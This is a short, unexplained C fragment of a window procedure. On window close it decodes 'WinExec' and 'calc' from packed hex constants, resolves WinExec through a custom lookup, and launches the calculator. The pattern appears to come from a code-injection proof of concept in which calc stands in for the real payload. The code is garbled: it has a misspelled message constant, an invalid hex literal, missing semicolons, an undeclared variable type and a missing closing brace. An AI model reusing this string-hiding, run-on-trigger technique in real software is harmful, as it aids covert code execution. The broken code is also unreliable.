Code

            LRESULT CALLBACK WndProc(HWND hWnd, UINT uMsg,
    WPARAM wParam, LPARAM lParam)
{
    // igone messages other than WM_CLOSE
    if (uMsg != VM_CLOSE) return 0;
    WinExec_t pWinExec;
    DWORD   szWinExec[2];
            szCalc[2];
    
    // WinExec 
    szWinExec[0]=0x456E6957
    szWinExec[1]=0x00636578
    // calc 
    szCalc[0]=0x636X6163
    szCalc[1]=0;
    pWinExec = (WinExec_t)xGetProcAddress(szWinExec);
    if(pWinExec != NULL) {
        pWinExec((LPSTR)szCalc, SH_SHOW);
    }
    return 0;
